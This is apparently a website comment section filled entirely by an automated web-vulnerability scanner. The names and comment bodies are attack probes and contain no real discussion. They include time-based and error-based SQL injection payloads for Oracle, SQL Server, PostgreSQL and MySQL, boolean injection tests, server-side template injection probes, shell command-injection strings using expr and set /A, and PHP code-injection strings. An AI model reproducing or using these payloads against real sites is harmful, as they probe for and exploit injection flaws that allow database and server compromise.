123456 says:

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('c',2)='c

123456 says:

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('b',0)='b

123456 says:

123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('e',0)

123456 says:

123456'and(select+1)>0waitfor/**/delay'0:0:2

123456 says:

123456'and(select+1)>0waitfor/**/delay'0:0:0

123456 says:

123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

123456 says:

123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

123456 says:

123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

123456 says:

123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

123456 says:

123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

123456 says:

123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

123456 says:

123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

123456 says:

123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

123456 says:

123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

123456'"\( says:

123456

123456 says:

(select*from(select+sleep(0)union/**/select+1)a)

123456鎈'"\( says:

123456

123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1953072962')))>'0 says:

123456

123456 says:

123456"and"x"="x

123456 says:

123456"and"i"="i

123456 says:

123456'and'h'='g

123456 says:

123456'and'v'='v

123456 says:

123456/**/and+4=9

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1167708728'))) says:

123456

123456 says:

123456/**/and+2=2

123456/**/and/**/cast(md5('1018155175')as/**/int)>0 says:

123456

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',2)='g says:

123456

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('e',0)='e says:

123456

123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('a',2) says:

123456

123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('e',0) says:

123456

123456'and(select+1)>0waitfor/**/delay'0:0:2 says:

123456

123456'and(select+1)>0waitfor/**/delay'0:0:0 says:

123456

123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/ says:

123456

123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/ says:

123456

123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0 says:

123456

123456'and(select'1'from/**/cast(md5(1347309753)as/**/int))>'0 says:

123456

extractvalue(1,concat(char(126),md5(1691726124))) says:

123456

123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0 says:

123456

123456"and/**/extractvalue(1,concat(char(126),md5(1902187920)))and" says:

123456

123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/ says:

123456

123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/ says:

123456

123456"and(select*from(select+sleep(2))a/**/union/**/select+1)=" says:

123456

123456"and(select*from(select+sleep(0))a/**/union/**/select+1)=" says:

123456

123456'and(select*from(select+sleep(2))a/**/union/**/select+1)=' says:

123456

123456'and(select*from(select+sleep(0))a/**/union/**/select+1)=' says:

123456

(select*from(select+sleep(2)union/**/select+1)a) says:

123456

(select*from(select+sleep(0)union/**/select+1)a) says:

123456

123456"and"h"="v says:

123456

123456 says:

<%- 944474462+905681965 %>

123456"and"q"="q says:

123456

123456 says:

#set($c=805641790+993664811)${c}$c

123456 says:

${(909220806+863771085)?c}

123456 says:

${839794890+986576732}

123456 says:

/*1*/{{859520183+861837535}}

123456'and/**/extractvalue(1,concat(char(126),md5(1769827929)))and' says:

123456

<%- 810914864+888788993 %> says:

123456

#set($c=992543494+944678679)${c}$c says:

123456

123456'and'f'='k says:

123456

123456 says:

123456'"\(

123456'and'd'='d says:

123456

123456 says:

123456鎈'"\(

123456/**/and+1=8 says:

123456

123456 says:

123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1023840999')))>'0

expr 854991979 + 800663201 says:

123456

123456&set /A 873374231+898104178 says:

123456

${(880443317+890360443)?c} says:

123456

123456$(expr 999202751 + 979790225) says:

123456

${829090092+809321181} says:

123456

123456|expr 972452591 + 857274616 says:

123456

123456 expr 810681345 + 825233763 says:

123456

123456/**/and+4=4 says:

123456

123456 says:

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1533469871')))

123456 says:

123456/**/and/**/cast(md5('1645159643')as/**/int)>0

123456 says:

123456'and(select'1'from/**/cast(md5(1967014246)as/**/int))>'0

123456 says:

expr 945261087 + 870427092

123456 says:

'-var_dump(md5(968971597))-'

123456 says:

extractvalue(1,concat(char(126),md5(1882821779)))

123456 says:

123456&set /A 867279942+887427987

123456 says:

${@var_dump(md5(103350880))};

123456 says:

123456"and/**/extractvalue(1,concat(char(126),md5(1807174435)))and"

123456 says:

123456$(expr 927033231 + 801182233)

/*1*/{{904636566+848968435}} says:

123456

123456 says:

${985094668+906309020}

123456 says:

123456

'-var_dump(md5(199513096))-' says:

123456

123456 says:

123456'and/**/extractvalue(1,concat(char(126),md5(1418063192)))and'

123456 says:

123456

${871624622+965274396} says:

123456

${@var_dump(md5(356897659))}; says:

123456

123456 says:

123456|expr 879452757 + 903589955

123456 says:

123456

123456 says:

123456

123456 says:

123456 expr 819914691 + 806313085

123456 says:

123456

123456 says:

rxyexhydgnnjcewyvmoq

123456 says:

123456

123456 says:

123456

rxyexhydgnnjcewyvmoq says:

123456

123456 says:

123456

123456 says:

123456

123456 says:

123456

123456 says:

123456

123456 says:

123456

123456 says:

123456